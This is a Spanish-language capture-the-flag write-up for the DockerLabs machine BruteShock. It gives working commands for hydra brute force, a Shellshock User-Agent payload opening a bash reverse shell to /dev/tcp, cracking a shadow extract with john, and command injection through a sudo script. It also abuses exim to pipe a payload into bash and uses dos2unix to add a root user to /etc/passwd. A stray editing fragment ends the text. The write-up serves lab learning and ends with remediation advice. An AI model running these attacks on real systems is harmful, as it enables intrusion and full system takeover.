Ir al contenido

BruteShock

Este documento presenta la resolución completa de la máquina BruteShock, desarrollada por maciiii___ para la plataforma DockerLabs, clasificada con una dificultad Media.

El laboratorio expone una aplicación web que, tras un ataque de fuerza bruta, permite acceder a un endpoint vulnerable a Shellshock (CVE-2014-6271). A partir de esta vulnerabilidad, se obtiene ejecución remota de comandos como el usuario www-data.

Tras el acceso inicial, se encadenan múltiples configuraciones inseguras de sudo, permitiendo la ejecución de binarios como otros usuarios sin autenticación adicional, así como el craqueo de hashes de contraseña y el abuso de scripts con sanitización deficiente, facilitando una escalada de privilegios progresiva hasta obtener acceso completo como root.

Todo el proceso se llevó a cabo dentro de un entorno controlado con fines estrictamente educativos.


AtributoValor
NombreBruteShock
Autormaciiii___
DificultadMedio
Fecha12/07/2024
PlataformaDockerLabs
IP Objetivo172.17.0.2

Se descomprime la máquina y se despliega utilizando el script proporcionado:

Ventana de terminal
unzip BruteShock.zip
sudo bash auto_deploy.sh BruteShock.tar

Una vez iniciado el contenedor, se asigna la dirección IP correspondiente.

IP asignada

Se organiza el entorno de trabajo para mantener una estructura clara durante el análisis:

Ventana de terminal
mkdir -p BruteShock/{content,exploits,nmap,scripts}
cd BruteShock

Se realiza un escaneo completo de puertos TCP para identificar servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

El resultado muestra los siguientes servicios accesibles externamente:

  • 80/tcp — HTTP

Puertos abiertos


Se procede a realizar fuzzing de rutas y archivos:

Ventana de terminal
feroxbuster -u http://172.17.0.2 \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,html,txt,js -t 100 -C 404

Durante la enumeración solo se identificó el index, que redirige a un login:

  • Index: redirige automáticamente al formulario de autenticación. login form

Dado que el único vector de ataque aparente es un login simple, se intentaron distintos tipos de inyecciones sin obtener resultados. Por lo tanto, se procede a realizar un ataque de fuerza bruta:

Ventana de terminal
hydra -l admin -P passwords.txt 172.17.0.2 http-post-form "/:username=^USER^&password=^PASS^:H=Cookie:PHPSESSID=8ehi7afsn6bsuvem2qurqk822q:F=Credenciales incorrectas" -t 64 -I -f

Esto arroja resultados positivos: hydra result

Con las credenciales obtenidas, nos logeamos. Después de esto, observamos otro login en el endpoint pruebasUltrasecretas, el cual parece ser similar al de Google: google login

Este aparentemente presenta un error visible en la web: “User-Agent almacenado en el log”. Por el nombre del endpoint y el mensaje, podría tratarse de un ataque Shellshock (CVE-2014-6271).

Al probar el ataque de la manera más sencilla, no observamos ninguna respuesta. Sin embargo, al usar el comando sleep:

Ventana de terminal
curl 'http://172.17.0.2/pruebasUltraSecretas/' -H 'User-Agent: () { :;}; echo; sleep 5' | tail

Identificamos que funciona. A continuación, tratamos de entablar una reverse shell. Primero activamos el listener en nuestro host:

Ventana de terminal
nc -nlvp 443

Ahora hacemos la petición a la máquina víctima:

Ventana de terminal
curl 'http://172.17.0.2/pruebasUltraSecretas/' -H 'User-Agent: () { :;}; echo; /bin/bash -c "/bin/bash -i >& /dev/tcp/172.17.0.1/443 0>&1"' | tail

Y obtenemos una reverse shell: reverseshell


Buscando entre las formas más comunes de escalar privilegios, no notamos ninguna destacada. Por ello, se realiza una búsqueda en profundidad, donde se encuentra el archivo /var/backups/darksblack/.darksblack.txt, el cual es un extracto del /etc/shadow perteneciente a dicho usuario. Lo guardamos en nuestro host con el nombre shadow.

A continuación, copiamos la sección del usuario correspondiente del /etc/passwd y la guardamos en nuestra máquina con el nombre passwd. Ahora, en nuestro host:

Ventana de terminal
unshadow passwd hash > data.txt

Intentamos romper ese hash con John:

Ventana de terminal
john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt data.txt

Obtenemos resultados positivos: john crack

Teniendo el usuario darksblack y su contraseña, podemos hacer su darksblack.


Revisamos los permisos con sudo -l: sudo -l darksblack

Esto nos indica que podemos ejecutar el script /home/maci/script.sh como el usuario maci.

Contenido del script:

#!/bin/bash
read -rp "Adivina: " num
if [[ $num -eq 123123 ]]
then
echo "Si"
else
echo "ERROR"
fi

Al revisarlo a fondo, no tenemos permisos para modificarlo, pero pide un input del usuario sin ningún tipo de sanitización. Por lo tanto, podemos escalar privilegios fácilmente:

Ventana de terminal
sudo -u maci /home/maci/script.sh
Adivina: test[$(/bin/bash -p >&2)]

shell maci


Se revisan los privilegios con sudo -l:

sudo -l maci

El usuario puede ejecutar exim con privilegios del usuario pepe. Por lo investigado, debemos entablar otra reverse shell. Activamos el listener nuevamente y en la máquina víctima ejecutamos:

Ventana de terminal
sudo -u pepe /usr/sbin/exim -be '${run{/bin/bash -c "echo PayloadBase64 | base64 -d | bash"}}'

Obtenemos acceso como el usuario pepe.


Se revisan los privilegios con sudo -l:

sudo -l pepe

Se procede de la siguiente manera:

  • Se copia el archivo /etc/passwd a uno temporal.
  • Se crea el hash de una contraseña (a elección) usando openssl.
  • Se comprueba y copia la línea asociada a los datos del usuario root.
  • Se añade esta línea al final del archivo temporal, sustituyendo el nombre de root por otro cualquiera y la x por el hash generado.
  • Se sustituye en el archivo original el contenido del archivo temporal aprovechando los privilegios encontrados.
Ventana de terminal
cp /etc/passwd /tmp/passwd
head -n 1 /tmp/passwd
openssl passwd <password>
echo 'root2:<HASH>:0:0:root:/root:/bin/bash' >> /tmp/passwd
sudo -u root /usr/bin/dos2unix -f -n "/tmp/passwd" "/etc/passwd"
su - root2
chown root:root /etc/passwd
chmod 644 /etc/passwd

Con esto se ha obtenido un usuario con privilegios root.


VulnerabilidadSeveridadImpacto
Login sin protección contra fuerza brutaMediaObtención de credenciales por diccionario
Endpoint pruebasUltrasecretas vulnerable a Shellshock (CVE-2014-6271)CríticaEjecución remota de comandos como www-data
Almacenamiento de extracto de /etc/shadow en /var/backups/AltaCraqueo de contraseñas y acceso al usuario darksblack
Script con validación de input insuficiente (read sin sanitización)AltaEscalada a maci mediante inyección de comandos
sudo para exim sin restriccionesCríticaEscalada a pepe mediante ejecución arbitraria
sudo para dos2unix sobre /etc/passwdCríticaModificación del archivo de autenticación y creación de usuario root

  • Implementar un sistema de autenticación con límite de intentos y CAPTCHA para prevenir ataques de fuerza bruta.
  • Actualizar o parchear el software vulnerable a Shellshock, especialmente versiones antiguas de Bash.
  • Evitar almacenar copias de archivos sensibles como /etc/shadow en directorios accesibles.
  • Sanitizar siempre las entradas de usuario, incluso en scripts internos.
  • Aplicar el principio de mínimo privilegio en configuraciones sudo, restringiendo comandos y parámetros específicos en lugar de permitir ejecución completa.
  • Auditar periódicamente los binarios con permisos sudo y los archivos críticos del sistema. das descripciones más claras** en cada paso sin modificar el formato original (códigos, imágenes, estructura).